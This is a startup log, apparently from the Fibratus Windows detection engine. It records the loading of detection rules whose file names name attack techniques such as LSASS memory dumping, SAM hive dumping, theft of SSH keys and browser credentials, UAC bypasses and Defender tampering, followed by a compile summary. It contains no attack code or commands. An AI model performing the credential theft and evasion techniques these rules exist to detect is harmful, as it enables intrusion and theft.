C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:35:59+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-26T14:35:59+01:00 level=info msg=bootstrapping with pid 1392. Version: dev 